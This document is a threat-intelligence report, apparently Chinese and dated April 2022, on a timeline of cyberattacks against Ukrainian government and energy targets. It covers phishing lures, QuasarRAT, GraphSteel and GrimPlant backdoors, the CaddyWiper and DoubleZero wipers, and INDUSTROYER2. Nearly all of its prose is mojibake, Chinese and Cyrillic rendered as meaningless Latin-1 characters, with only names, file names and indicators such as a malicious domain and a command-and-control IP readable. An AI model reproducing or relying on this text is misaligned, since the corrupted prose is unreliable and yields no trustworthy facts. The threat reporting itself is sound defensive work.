¡¾ÍøÂçÕ½¡¿ÎÚ¿ËÀ¼Õ½ÕùϵÄ×îÐÂÍøÂç¹¥»÷Ô˶¯×ۺϱ¨¸æ

Ðû²¼Ê±¼ä 2022-04-29

Ò»¡¢Åä¾°


×Ô2022Äê2ÔÂ24ÈÕ¶íÎÚ³åÍ»Éý¼¶ÎªÖÜÈ«Õ½Õùºó £¬¶íÂÞ˹ÊÔͼͨ¹ý¡°ÉÁµçÕ½¡±µÄÕ½Êõ¿ìËÙ¿¢ÊÂÕ½ÕùµÄÄ¿µÄÂä¿Õ £¬Ö±µ½2¸ö¶àÔµĽñÌì £¬´Ë´ÎÕ½ÕùÈÔ´¦ÓÚ½º×Å״̬ £¬¶íÎÚË«·½¾ùÔâÊܵ½Á˺ÜÊÇÑÏÖصÄËðʧºÍÉËÍö¡£ÔڲпáµÄÕ½Õù֮Ϡ£¬Ë«·½ÈÔȻһֱµØÔÚÍøÂçÕ½³¡ÉϾÙÐÐ×ÅÇ¿ÁҵĽÏÁ¿¡£ÔÚÕ½Õù±¬·¢µ±ÈÕ £¬ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab¾Í¶ÔË«·½ÍøÂçÕ½Ïà¹ØµÄÍþвÇ鱨¾ÙÐÐÁËÕûÀí £¬²¢ÇÒ¶ÔÎÚ¿ËÀ¼±³ºóµÄÍøÂç¹¥»÷ºÍÏà¹ØÇ鱨Ô˶¯¾ÙÐÐÉîÈëÆÊÎö £¬Ðû²¼ÁËÏà¹ØÆÊÎöÎÄÕ¡¶ÎÚ¿ËÀ¼Õ½Õù±³ºóµÄÍøÂç¹¥»÷ºÍÇ鱨Ô˶¯¡·£»ÔÚ3Ô·ÝÎÒÃÇÓ¦Ñû׫дÁË¡¶¡¾ÍøÂçÕ½¡¿´ÓÎÚ¿ËÀ¼Õ½Õù̸ÏÖ´úÕ½ÕùµÄµÚ¶þÕ½³¡¡·µÄ³¤Æª±¨¸æ £¬ÍŽáÀúÊ·ÉϵĶÔÕ½ÕùÆð×ÅÒªº¦×÷ÓõÄÍøÂçÕ½°¸ÀýÒÔ¼°ÎÚ¿ËÀ¼ºÍ¶íÂÞ˹֮¼ä³¤´ï30ÄêµÄÍøÂç¶Ô¿¹°¸Àý £¬ÖÜÈ«ÆÊÎöÁËÏÖ´úÕ½ÕùϵÄÍøÂçÕ½ÊÖÒÕ¡¢Í·ÄÔ¡¢×÷Óü°Ó°Ï죻½üÆÚ £¬ÎÒÃÇÓÖ½ÓÁ¬²¶»ñµ½¶àÆðÕë¶ÔÎÚ¿ËÀ¼Õþ¸®ºÍµ¥Î»µÄÍøÂç¹¥»÷Ô˶¯ £¬¹¥»÷Õß½èÒÔ¡°ÎÚ¿ËÀ¼·ÀÓù·½·¨¡±¡¢¡°ÎÚ¿ËÀ¼±¨¸æ_×îÖÕ¡±¡¢¡°ÈÕÒæÖØ´óµÄ¶íÎÚΣ»úÚ¹ÊÍ¡±ºÍ¡°Ð¹Â¶µÄ¿ËÀïÄ·ÁÖ¹¬µç×ÓÓʼþÏÔʾÃ÷˹¿ËЭÒ顱µÈ¾ßÓи߶ÈÒÉ»óÐÔµÄÈÈÃÅÓÕ¶üÎĵµ¾ÙÐй¥»÷ £¬ÊÔͼÇÔÈ¡Ïà¹ØÕþ¸®µ¥Î»µÄÉñÃØÐÅÏ¢¡£


±¾ÎĽ«¶Ô×ÔÕ½ÕùÒÔÀ´ÎÒÃÇËù¼à¿Øµ½µÄÍøÂç¹¥»÷ÊÂÎñ¾ÙÐÐÊáÀíºÍ»ã×Ü £¬Í¬Ê±´Ó¶à¸ö½Ç¶È³ö·¢ £¬¶Ô²¿·Öµä·¶µÄÍøÂç¹¥»÷ÊÂÎñ¾ÙÐÐÉîÈëÆÊÎö¡£


¶þ¡¢½üÆÚ¹¥»÷ÊÂÎñ»ØÊ×


×ÔÕ½Õù±¬·¢ÒÔÀ´ £¬ÍøÂç¿Õ¼ä¾Í³ÉÁ˶íÎÚË«·½²©Þĺͽ»·æµÄµÚ¶þÕ½³¡ £¬Æ¾Ö¤ÎÚ¿ËÀ¼CERT½üÆÚÐû²¼µÄÐÂÎÅ £¬ÎÚ¿ËÀ¼ÒѾ­Êܵ½ÁËÖÁÉÙ12¸öºÚ¿Í×éÖ¯µÄ¹¥»÷¡£ÔÚÕâЩ¹¥»÷ÖÐ £¬ºÚ¿Í×éÖ¯²»µ«Õë¶ÔÎÚ¿ËÀ¼Õþ¸®¡¢µçÐÅ¡¢¹ú·À¡¢¾ü¶ÓµÈÒªÖ÷Òª²¿·ÖÕö¿ªÍøÂç¹¥»÷ £¬ÉõÖÁ»¹Ö±½Ó¶ÔÎÚ¿ËÀ¼ÄÜÔ´µÈ»ù½¨ÉèÊ©¾ÙÐÐÁËÆÆËðÐÔÍøÂç¹¥»÷¡£Æ¾Ö¤ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLabµÄÍþвÇ鱨Êý¾Ý¼°ÎÚ¿ËÀ¼CERT-UAµÄ¹ûÕ汨¸æ £¬ÎÒÃǶÔ×Ô2022Äê3ÔÂÒÔÀ´ÎÚ¿ËÀ¼ËùÔâÊܵIJ¿·ÖÍøÂç¹¥»÷Çå¾²ÊÂÎñ¾ÙÐÐÁËÊáÀíºÍ»ã×Ü £¬Ïà¹ØÍøÂç¹¥»÷ÊÂÎñµÄʱ¼äÏßÈçÏÂͼËùʾ¡£ÏÖʵÉÏ £¬ÕâЩͳ¼ÆµÄÍøÂç¹¥»÷ÊÂÎñ½ö½öÊÇÏÖʵ¹¥»÷ÇéÐεıùɽһ½Ç£»µ«ÈÔ²»ÄÑ¿´³ö £¬Õ½Õùʱ´úÕë¶ÔÎÚ¿ËÀ¼µÄÍøÂç¹¥»÷ÕßÖÚ¶à £¬ÆäÖв»·¦¡°InvisiMole¡±¡¢¡°Vermin¡±¡¢¡°APT-28¡±µÈÖøÃûºÚ¿Í×éÖ¯ £¬Ïà¹ØÍøÂç¹¥»÷Ô˶¯Òà¸ñÍâƵÈÔ¡£


ͼ1.png



¡¤ 3ÔÂ6ÈÕ £¬ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab¼à²âµ½ÁËÒ»ÅúÕë¶ÔÎÚ¿ËÀ¼Õþ¸®»ú¹¹µÄÍøÂç¹¥»÷Ô˶¯¡£Ôڴ˴ι¥»÷Ô˶¯ÖÐ £¬¹¥»÷ÕßʹÓÃЯ´ø¶ñÒâºê»òÎó²î¶ñÒâÎļþ×÷Ϊ³õʼ¹¥»÷ÔغÉ £¬ÓÕʹÊܺ¦ÕßÐÅÍв¢Ö´ÐкóÐøµÄQuasarRAT¶ñÒâľÂí £¬ÊÔͼ´ÓÊܺ¦Ö÷»úÖÐÇÔÈ¡Ãô¸ÐÎļþ¡£ÎÚ¿ËÀ¼CERTÒ²½«´Ë´ÎÊÂÎñµÄ¹¥»÷ÕßÃüÃûΪ¡°UAC-0086¡± £¬¹¥»÷ÕßʹÓõIJ¿·ÖÓÕ¶üÎĵµÈçÏÂËùʾ¡£


£¨1£©ÓÕ¶üÎĵµÊ¾ÀýÒ»£ºÎ±×°³ÉISW£¨Õ½ÕùÑо¿Ñо¿Ëù£©»ú¹¹Îļþ

ͼ2.png


£¨2£©ÓÕ¶üÎĵµÊ¾Àý¶þ£ºÎ±×°³É¡°Hunter Biden,Burisma, and Corruption: The Impact on U.S.Government Policy and RelatedConcerns¡±£¨¡±ºàÌØ¡¤°ÝµÇ¡¶ÃÓÀÃ:¶ÔÃÀ¹úÕþ¸®Õþ²ßµÄÓ°Ïì¼°Ïà¹Ø¹ØÇС·¡±£©±¨¸æÎļþ


ͼ3.png


£¨3£©ÓÕ¶üÎĵµÊ¾ÀýÈý£º¡°The increasinglycomplicated Russia-Ukraine crisis explained¡±£¨¡°ÈÕÒæÖØ´óµÄ¶íÂÞ˹-ÎÚ¿ËÀ¼Î£»úÚ¹ÊÍ¡±£©±¨¸æÎļþ


ͼ4.png


¡¤ 3ÔÂ7ÈÕ £¬±»ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0051¡±µÄºÚ¿Í×é֯ʹÓöñÒâÈí¼þMicroBackdoor¶ÔÎÚ¿ËÀ¼¶à¸ö¹ú¼Ò²¿·ÖºÍµ¥Î»¿ªÕ¹Á˶à´ÎÍøÂç¹¥»÷Ô˶¯¡£ÆäÖÐ £¬Ïà¹ØµÄÓÕ¶üÎļþºÍ²¿·Ö¶ñÒâÎļþ´úÂëÈçÏÂͼËùʾ¡£


ͼ5.png


¡¤ 3ÔÂ9ÈÕ £¬±»ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0041¡±µÄºÚ¿Í×éÖ¯½«¡°§­§Ú§ã§ä §á§â§à §Ù§Ñ§ä§Ó§Ö§â§Õ§Ø§Ö§ß§ß§ñ §Ô§Ñ§â§Ñ§ß§ä??§Ô§â§à§ê§à§Ó§Ú§ç §Ü§à§ê§ä?§Ó¡±£¨¡°Ïֽ𵣱£Åú×¼º¯¡±£©×÷ΪÓʼþÎÊÌâ £¬²¢ÒÔ¡°Õ½ÕùºÍÌṩ²ÆÎñÔ®ÖúÒéÌ⡱ΪÓʼþÄÚÈÝ £¬ÏòÎÚ¿ËÀ¼Õþ¸®»ú¹¹ºÍµ¥Î»¾ÙÐдó×ÚµÄͶµÝ¡£ÆäÖÐ £¬¡°support letter.xlsx¡±Óʼþ¸½¼þÊÇЯ´øºê´úÂëµÄ¶ñÒâÎĵµ £¬Êܺ¦ÕßÒ»µ©ÆôÓúê £¬¸ÃºêÔò»á´Ó¹¥»÷ÕߵķþÎñÆ÷ÉÏÏÂÔØFormbook/XLoader¶ñÒâ³ÌÐò £¬¹¥»÷Õß¼´¿É¿ªÕ¹½øÒ»²½µÄÍøÂç¹¥»÷Ô˶¯¡£´Ë´Î¹¥»÷Ô˶¯µÄÏà¹ØÎļþµÄÏêϸÐÅÏ¢ÈçÏÂͼËùʾ¡£


ͼ6.png


¡¤ 3ÔÂ11ÈÕ £¬±»ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0056¡±µÄºÚ¿Í×é֯αװ³É¡°sed-rada.gov.ua¡±£¨±±¶ÙÄù´Ä¿Ë¾üÃñ×ÜÊð£©ÏòÎÚ¿ËÀ¼¹ú¼Ò»ú¹¹´ó¹æÄ£·Ö·¢´¹ÂÚÓʼþ¡£¸ÃÓʼþÖаüÀ¨Á½¸öÓÕ¶üÎĵµ £¬ÇÒÓʼþÕýÎÄÖÐÐû³ÆÒªÇó¸÷»ú¹¹´Ó¡°https://forkscenter.fr¡±ÍøÕ¾ÏÂÔز¢×°Ö÷À²¡¶¾Èí¼þµÄ¸üÐÂÎļþ¡°BitdefenderWindowsUpdatePackage.exe¡±¡£µ±¸ÃEXEÎļþÀÖ³ÉÖ´Ðкó £¬×îÖÕ»á´ÓÖ¸¶¨·þÎñÆ÷ÉÏÏÂÔز¢Ö´ÐÐGraphSteelºÍGrimPlantºóÃÅ £¬ÒԱ㹥»÷ÕßÍê³É½øÒ»²½µÄÍøÂçÇÔÃÜÄ¿µÄ¡£´Ë´Î¹¥»÷ÊÂÎñµÄÏà¹ØÎļþÈçÏÂͼËùʾ£º


ͼ7.png

ͼ8.png


ÓÕ¶üÎĵµ£º¡°?§ß§ã§ä§â§å§Ü§è?§ñ §Ù §Ñ§ß§ä§Ú§Ó?§â§å§ã§ß§à§Ô§à§Ù§Ñ§ç§Ú§ã§ä§å.doc¡±£¨·À²¡¶¾ËµÃ÷.doc£©


ͼ9.png

¶ñÒâÈí¼þÏÂÔØÒ³Ãæ


¡¤ 3ÔÂ15ÈÕ £¬ESETÔÚÎÚ¿ËÀ¼·¢Ã÷µÚÈý¸öÆÆËðÐÔ²Á³ýÆ÷CaddyWiper £¬ÆäÖÐÇ°Á½¸öÆÆËðÐͲÁ³ýÆ÷»®·ÖÊÇÓÚ2ÔÂ23ÈÕÊ״η¢Ã÷µÄHermeticWiperºÍÔÚ2ÔÂ24ÈÕµÚ¶þ´Î·¢Ã÷µÄIsaacWiper¡£±ðµÄ £¬Óë´Ë²Á³ýÆ÷Ïà¹ØµÄºÚ¿Í×éÖ¯Ò²±»ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0082¡±¡£ÆÆËðÐÔ²Á³ýÆ÷CaddyWiperÖеġ°±éÀú´ÅÅÌÎļþ²¢Ïú»Ù¡±¹¦Ð§µÄ´úÂëÈçÏÂͼËùʾ£º


ͼ10.png

ͼ11.png


¡¤ 3ÔÂ16ÈÕ £¬ÒÉËÆAPT28£¨UAC-0028£©ºÚ¿Í×é֯ģÄâȪԴÓÚUKR.NETÐÂÎŵĴ¹ÂÚÓʼþ £¬ÓʼþÕýÎÄÖÐʹÓÃURL¶ÌÁ´½Ó·þÎñ½¨ÉèµÄ¶þάÂë £¬Ö¸µ¼Ä¿µÄÓû§¾ÙÐлá¼û¡£Ò»µ©Óû§»á¼ûºó £¬Ôò»á±»Öض¨Ïòµ½Î±×°µÄUKR.NETÃÜÂëÖØÖÃÒ³ÃæµÄ´¹ÂÚÍøÕ¾ £¬¼Ì¶øͨ¹ýHTTP POSTÇëÇó½«Óû§ÊäÈëµÄÊý¾Ý·¢Ë͵½¹¥»÷ÕßÔÚPipedreamƽ̨ÕË»§ÖС£


ͼ12.png

Ä£ÄâÀ´×ÔUKR.NETµÄµç×ÓÓʼþÄÚÈÝ


ͼ13.png

UKR.NETÃÜÂëÖØÖÃαÔìÒ³Ãæ


ͼ14.png

²¿·Ö´¹ÂÚÒ³Ãæ´úÂë


¡¤ 3ÔÂ17ÈÕ £¬ÓÉVermin (UAC-0020) ×é֯αװΪ¡°ÎÚ¿ËÀ¼¹ú·À²¿¡±ÏòÎÚ¿ËÀ¼¹ú¼ÒÕþ¸®»ú¹¹Í¶µÝÖ÷ÌâΪ¡°¹©Ó¦¡±µÄ´¹ÂÚÓʼþ¡£ÓʼþÖÐЯ´øÒ»¸ö¼ÓÃܵÄRARÎļþ £¬Ñ¹Ëõ°üÖаüÀ¨Ò»¸öÎļþ¿ì½Ý·½·¨ºÍÒ»¸öEXEÎļþ £¬µ±·­¿ª¿ì½Ý·½·¨Ê± £¬½«Ö´ÐÐEXEÎļþ¡£Ëæºó £¬Êܺ¦ÕßµÄÖ÷ʱ»ú±»¶ñÒâÈí¼þSPECTR¹¥»÷ £¬¸Ã¶ñÒâÈí¼þ°üÀ¨£ºSPECTR.Usb¡¢SPECTR.Shell¡¢SPECTR.Fs¡¢SPECTR.Info¡¢SPECTR.ArchiverµÈÄ £¿é¡£²¿·ÖÎļþÄÚÈÝÈçÏÂͼËùʾ¡£


ͼ15.png


¡¤ 3ÔÂ17ÈÕ £¬UAC-0088×é֯ʹÓà DoubleZero¶ÔÎÚ¿ËÀ¼µÄ²¿·ÖÆóÒµ¾ÙÐÐÍøÂç¹¥»÷¡£Ôڴ˴ι¥»÷ÊÂÎñÖÐ £¬±»·¢Ã÷µÄѹËõ°üÃûΪ¡°§£§Ú§â§å§ã... §Ü§â§Ñ§Û§ß§Ö §à§á§Ñ§ã§ß§à!!!.zip¡±£¨¡°²¡¶¾...ºÜÊÇΣÏÕ! ! !¡±£© £¬¸ÃѹËõ°ü°üÀ¨Á½¸öÎļþ£ºcpcrs.exeºÍcsrss.exe¡£Í¨Ì«¹ýÎö·¢Ã÷ £¬ËüÃÇʹÓÃC#±àд²¢±»¹éÀàΪDoubleZero²¡¶¾¡£¸Ã²¡¶¾»áÁýÕÖ´ÅÅÌÉÏËùÓеķÇϵͳÎļþ £¬²¢Æ¾Ö¤Ò»¶¨µÄ˳Ðò¾ÙÐÐÖØд¡£


ͼ16.png

ͼ17.png


¡¤ 3ÔÂ18ÈÕ £¬InvisiMole£¨UAC-0035£©×éÖ¯Õë¶ÔÎÚ¿ËÀ¼¹ú¼ÒÕþ¸®»ú¹¹ºÍ¹ú·Àµ¥Î»ÌᳫÁËÓã²æʽÍøÂç´¹ÂÚÓʼþ¹¥»÷¡£Óʼþ¸½¼þÊÇÃûΪ¡°501_25_103.zip¡±µÄѹËõ°üÎļþ £¬ÆäÖаüÀ¨501_25_103.lnk¿ì½Ý·½·¨¡£µ±ÔËÐжñÒâ¿ì½Ý·½·¨Ê± £¬¸Ã¿ì½Ý·½·¨»á»á¼û¹¥»÷Õß·þÎñÆ÷²¢ÏÂÔغÍÖ´ÐÐHTAÎļþ¡£Ö®ºó £¬HTAÎļþÔÙ´ÓºÚ¿Í·þÎñÆ÷ÉÏÏÂÔز¢ÔËÐÐÓÕ¶üÎĵµ501_25_103.docºÍºóÃųÌÐòLoadEdge¡£


ͼ18.png

ÓÕ¶üÎĵµÄÚÈÝ


¡¤ 3ÔÂ22ÈÕ £¬Scarab APT×éÖ¯£¨UAC-0026£©Ê¹Óà HeaderTip ¶ñÒâÈí¼þÌᳫÕë¶ÔÎÚ¿ËÀ¼Õþ¸®²¿·ÖºÍµ¥Î»µÄÍøÂç¹¥»÷¡£ÓÅ·¢¹ú¼ÊÍøÕ¾¹ÙÍøADLab×î³õ²¶»ñµ½ÁËÃûΪ¡°§±§â§à§Ù§Ò§Ö§â§Ö§Ø§Ö§ß§ß§ñ §Ó?§Õ§Ö§à§Þ§Ñ§ä§Ö§â?§Ñ§Ý?§Ó §Ù §æ?§Ü§ã§Ñ§è??§ð §Ù§Ý§à§é§Ú§ß§ß§Ú§ç §Õ?§Û §Ñ§â§Þ??§â§à§ã?§Û§ã§î§Ü§à?§æ§Ö§Õ§Ö§â§Ñ§è??.rar¡±µÄѹËõ°üÎļþ £¬ÄÚÀï°üÀ¨Í¬ÃûµÄEXEÎļþ¡£¸Ã¶ñÒâÎļþÖ´Ðкó»áÊͷŲ¢·­¿ªÎÞº¦µÄÓÕ¶üÎĵµ£¨¡°#2163_02_33-2022.pdf¡±£© £¬Í¬Ê±ÊͷźÍÖ´ÐÐÅú´¦Öóͷ£Îļþ£¨¡°officecleaner.bat¡±£© £¬Ö®ºó £¬batÎļþÊÍ·Å¡°httpshelper.dll¡±¶ñÒâÎļþ £¬²¢Å²ÓÃrundll32.exeÖ´ÐиöñÒâľÂí¡£


ͼ19.png

ѹËõ°üÎļþÄÚÈÝ


ͼ20.png

ÓÕ¶üÎĵµÏà¹ØÄÚÈÝ


¡¤ 3ÔÂ23ÈÕ £¬ÒÉËÆUNC1151ºÚ¿Í×éÖ¯£¨UAC-0051£©Ê¹ÓöñÒâÈí¼þCobalt Strike Beacon¶ÔÎÚ¿ËÀ¼¹ú¼Ò²¿·ÖºÍµ¥Î»¾ÙÐÐÍøÂç¹¥»÷¡£±»·¢Ã÷µÄ¶ñÒâѹËõ°üÃûΪ¡°§¥§Ú§Ó§Ö§â§ã§Ñ§ß§ä§Ú.rar¡± £¬Æä°üÀ¨ÃûΪ¡°§¥§Ú§Ó§Ö§â§ã§Ñ§ß§ä§Ú 21.03.rar¡±µÄѹËõ°ü £¬¶ø¸ÃѹËõ°üÓÖ°üÀ¨¡°§¥§Ú§Ó§Ö§â§ã§Ñ§ß§ä§Ú filerar.scr¡± µÄSFXÎļþ £¬Ëƺõ½èÒÔÒþ²ØÎļþµÄ.scrÀ©Õ¹Ãû¡£´Ë´Î¹¥»÷ÊÂÎñÖеÄsfxÎļþ°üÀ¨ÓÕ¶üÎĵµºÍͼƬ £¬ÒÔ¼°¶ñÒâVBS´úÂë¡£¸Ã¶ñÒâvbs´úÂë»á½¨ÉèºÍÔËÐÐÃûΪ¡°dhdhk0k34.com¡±µÄ .NET³ÌÐò £¬×îÖÕÖ´ÐÐCobalt Strike BeaconľÂí £¬Ïà¹ØµÄ¶ñÒâÎļþÄÚÈÝÈçÏÂͼËùʾ:


ͼ21.png

SFXÎļþÄÚÈÝ


ͼ22.png

Ïà¹ØÓÕ¶üÎĵµÄÚÈÝ


ͼ23.png

Ïà¹ØÓÕ¶üͼƬ


ͼ24.png

»ìÏýºóµÄ¶ñÒâvbs´úÂë


¡¤ 3ÔÂ28ÈÕ £¬UAC-0056×éÖ¯Õë¶ÔÎÚ¿ËÀ¼Õþ¸®£¨°üÀ¨Ë½È˵çÊÓƵµÀICTV£©Í¶µÝÖ÷ÌâΪ¡°§©§Ñ§Ò§à§â§Ô§à§Ó§Ñ§ß?§ã§ä§î §á§à §Ù§Ñ§â§á§Ý§Ñ§ä?¡±£¨¡°ÍÏÇ·ÈËΪ¡±£©µÄ´¹ÂÚÓʼþ £¬¸Ã´¹ÂÚÓʼþÖаüÀ¨ExcelÎĵµµÄ¸½¼þÎļþÓëÓʼþÖ÷ÌâÃû³ÆÏàͬ £¬Ê¹Êܺ¦ÈËïÔÌ­Ô¤·ÀÈ»ºó·­¿ª¶ñÒâÎļþ¡£¸Ã¶ñÒâÎĵµÖаüÀ¨Ò»¸öǶÈëµÄºê £¬ÒÔ¼°²¿·ÖÒþ²ØÔÚ±í¸ñÖеÄÓÐÓÃÔغÉ¡£


ͼ25.png

ͼ26.png


¸Ã¶ñÒâºê´úÂë»áÊͷŲ¢Ö´Ðгõʼ¿ÉÖ´ÐÐÎļþ¡°Base-Update.exe¡± £¬¸Ã³ÌÐò±»Ö´Ðкó»á´ÓºÚ¿Í·þÎñÆ÷194[.]31.98.124ÉÏÏÂÔز¢Ö´ÐÐÏÂÒ»½×¶ÎºÚ¿Í½«Ê¹ÓõÄľÂí¡°java-sdk.exe¡±¡£ÆäÖÐ £¬java-sdk.exeµÄÖ÷Òª¹¦Ð§ÊÇʵÏÖÒ»Á¬»¯ £¬²¢´ÓºÚ¿Í·þÎñÆ÷194[.]31.98.124ÏÂÔØ°²ÅŽÓÏÂÀ´½«Ê¹ÓõĶñÒâ³ÌÐò¡°oracle-java.exe¡±Óë¡°microsoft-cortana.exe¡±¡£


ÆäÖÐ £¬¡°oracle-java.exe¡±£¨Elephant Implant/±»³ÆΪGrimPlantºóÃÅ£©ÊǴ˴ι¥»÷ÖÐ×îÖ÷ÒªµÄ¶ñÒâ³ÌÐò £¬Implant¿ÉÒÔͨ¹ý4ÖÖRPCÇëÇóÓëC2¾ÙÐÐͨѶ £¬ÏòC2·¢ËÍÐÅÏ¢²¢ÇÒÎüÊÕÏà¹ØÖ¸Áî £¬Ïà¹ØRPCÇëÇóÈçÏÂËùʾ£º


ͼ27.png


¶ø¡°microsoft-cortana.exe¡±ÔòÊÇÒ»¸öÊý¾ÝÇÔÈ¡Èí¼þ £¬ÆäÖ÷Òª¹¦Ð§°üÀ¨ÍøÂçÊܺ¦ÕßÖ÷»úÃû¡¢²Ù×÷ϵͳÃû³Æ£¨windows£©¡¢CPUÊýÄ¿¡¢IPµØµã¡¢Ãû³Æ¡¢Óû§ÃûºÍÖ÷Ŀ¼¡¢ä¯ÀÀÆ÷ƾ֤¡¢ÎÞÏßÍøÂçÐÅÏ¢¡¢Æ¾Ö¤ÖÎÀíÆ÷Êý¾Ý¡¢ÓʼþÕÊ»§¡¢PuttyÅþÁ¬Êý¾Ý¡¢Filezilla ƾ֤ÒÔ¼°Êܺ¦ÕßÓû§Ä¿Â¼ÖÐËùÓÐÎļþ £¬²¢¾ÙÐйþÏ£´¦Öóͷ£ £¬·¢Ë͵½Ö¸¶¨µÄC2·þÎñÆ÷ÉÏ¡£


¡¤ 3ÔÂ30ÈÕ £¬±»ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0041¡±µÄºÚ¿Í×éÖ¯ÒÔ¡°§¯§à§Ó§Ñ §á§â§à§Ô§â§Ñ§Þ§Ñ §Õ§Ý§ñ §Ù§Ñ§á§Ú§ã§å §Ó §Ø§å§â§ß§Ñ§Ýi.¡±£¨¡°ÐÂÆÚ¿¯Â¼ÈëÍýÏ롱£©ÎªÖ÷Ìâ¶ÔÎÚ¿ËÀ¼Õþ¸®»ú¹¹ºÍµ¥Î»¾ÙÐдó×ڵĴ¹ÂÚÓʼþ¹¥»÷¡£ÓʼþÕýÎÄÖаüÀ¨¹ØÓÚ¡°§Ö§Ý§Ö§Ü§ä§â§à§ß§ß§Ú§ç §ß§Ñ§Ó§é§Ñ§Ý§î§ß§Ú§ç §Ø§å§â§ß§Ñ§Ý?§Ó¡±£¨¡°µç×ÓѧϰÆÚ¿¯¡±£©µÄÏà¹ØÐÅÏ¢ £¬ÒÔ¼°MarsStealerľÂíµÄÏÂÔØÁ´½ÓºÍÎĵµÃÜÂë¡£ÆäÖÐ £¬MarsStealerľÂíÊÇÒ»ÖÖ³£¼ûµÄÉÌҵľÂí £¬ÆäÖ÷Òª¹¦Ð§°üÀ¨ÍøÂ类ѬȾÖ÷»úµÄÃô¸ÐÐÅÏ¢ £¬´Óä¯ÀÀÆ÷ÖÐÇÔÈ¡Óû§µÄÉí·ÝÑéÖ¤Êý¾Ý £¬´Ó¼ÓÃÜÇ®°ü²å¼þ»ò¶àÒòËØÉí·ÝÑéÖ¤³ÌÐòÖÐÇÔÈ¡Îļþ £¬ÏÂÔغÍÔËÐпÉÖ´ÐÐÎļþ²¢½ØÈ¡ÆÁÄ»½Øͼ¡£


ͼ28.png


¡¤ 4ÔÂ4ÈÕ £¬±»ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0010¡±£¨ÒÉËÆArmageddon£©µÄºÚ¿Í×éÖ¯Õë¶ÔÎÚ¿ËÀ¼Õþ¸®»ú¹¹·¢ËÍÖ÷ÌâΪ¡°?§ß§æ§à§â§Þ§Ñ§è?§ñ §ë§à§Õ§à §Ó?§Û§ã§î§Ü§à§Ó§Ú§ç §Ù§Ý§à§é§Ú§ß§è?§Ó §²§¶¡±£¨Ò룺¶íÂÞ˹Áª°îÕ½·¸¼Í¼£©µÄ´¹ÂÚÓʼþ £¬Óʼþ¸½¼þΪ¡°§£?§Û§ã§î§Ü§à§Ó?§Ù§Ý§à§é§Ú§ß§è?§²§¶.htm¡±£¨Ò룺¶íÂÞ˹Áª°îµÄÕ½·¸.htm£©¡£


ͼ29.png


ÈôÊÇÊܺ¦Õß·­¿ª¸ÃhtmÎļþ £¬Æää¯ÀÀÆ÷Ôò»á×Ô¶¯ÏÂÔØ¡°Viyskovi_zlochinci_RU.rar¡±¡£


ͼ30.png


¸ÃѹËõ°ü°üÀ¨Ò»¸öÃûΪ¡°§£?§Û§ã§î§Ü§à§Ó?-§Ù§Ý§à§é§Ú§ß§è? §ë§à §Ù§ß§Ú§ë§å§ð§ä§î §µ§Ü§â§Ñ?§ß§å (§Õ§à§Þ§Ñ§ê§ß?§Ñ§Õ§â§Ö§ã§Ú, §æ§à§ä§à, §ß§à§Þ§Ö§â§Ñ §ä§Ö§Ý§Ö§æ§à§ß?§Ó, §ã§ä§à§â?§ß§Ü§Ú §å §ã§à§è?§Ñ§Ý§î§ß§Ú§ç §ã§Ö§ä§ñ§ç)¡±£¨Ò룺¡°´Ý»ÙÎÚ¿ËÀ¼µÄÕ½·¸£¨¼Òͥסַ £¬ÕÕƬ £¬µç»°ºÅÂë £¬Éç½»ÍøÕ¾ÖеÄÒ³Ã棩¡±£©µÄlnkÎļþ¡£


ͼ31.png


¸ÃlnkÎļþ½«»á´ÓºÚ¿Í·þÎñÆ÷ÉÏÏÂÔØÏÂÒ»½×¶ÎµÄ¹¥»÷ÎäÆ÷ £¬¼´Ò»¸ö°üÀ¨VB´úÂëµÄHTAÎļþ¡£´ËHTAÎļþ»á´ÓºÚ¿Í·þÎñÆ÷ÉÏÏÂÔØget.php £¬¶ø¸ÃÎļþÏÖʵÉÏÈ´ÊÇÒ»¸öpowershell¾ç±¾ £¬ÆäÖ÷ÒªÓÃÓÚÈ·¶¨ÅÌËã»úµÄΨһ±êʶ·û¡£


ͼ32.png


¡¤ 4ÔÂ12ÈÕ £¬±»Åû¶ÓɶíÂÞ˹¹ú¼Ò×ÊÖúµÄAPT×éÖ¯Sandworm£¨ÎÚ¿ËÀ¼CERTÃüÃûΪ¡°UAC-0082¡±£©Ê¹ÓöñÒâ³ÌÐò INDUSTROYER2 ºÍ CADDYWIPER £¬ÔÚ4ÔÂ8ÈÕÊÔͼ¶ÔÒ»¼Ò´óÐÍÎÚ¿ËÀ¼ÄÜÔ´¹©Ó¦É̾ÙÐй¥»÷¡£´Ë´Î¹¥»÷ÊÂÎñµÄÏêϸʱ¼ä½ÚµãÈçͼËùʾ£º


ͼ33.png


´ÓÏà¹ØÊÂÎñµÄÆÊÎö±¨µÀÖпÉÒÔÍƲâ³ö¹¥»÷ÕߵIJ¿·ÖÄ¿µÄ£º



£¨1£©Ê¹ÓöñÒâ³ÌÐòINDUSTROYER2Õë¶Ô¸ßѹ±äµçÕ¾¾ÙÐй¥»÷ £¬Ã¿¸ö¿ÉÖ´ÐÐÎļþÖоùº¬Ò»×龲ָ̬¶¨µÄ¸÷¸ö±äµçÕ¾µÄΨһ²ÎÊý £¬¿ÉÒÔ¿´³ö´Ë¶ñÒâ³ÌÐòΪ¸ß¶È¶¨ÖÆ»¯µÄ¹¥»÷¹¤¾ß¡£



ͼ34.png


£¨2£©Ê¹ÓÃCADDYWIPER¶ñÒâ³ÌÐò¶ÔÄ¿µÄµÄWindowsϵͳµÄÅÌËã»ú¾ÙÐÐÆÆËð¹¥»÷¡£


£¨3£©Ê¹ÓöñÒâÆÆËðÐ;籾ORCSHRED¡¢SOLOSHRED¡¢AWFULSHRED¶ÔÆóÒµÄÚ²¿µÄLinuxϵͳµÄ·þÎñÆ÷¾ÙÐÐÆÆËð¹¥»÷¡£


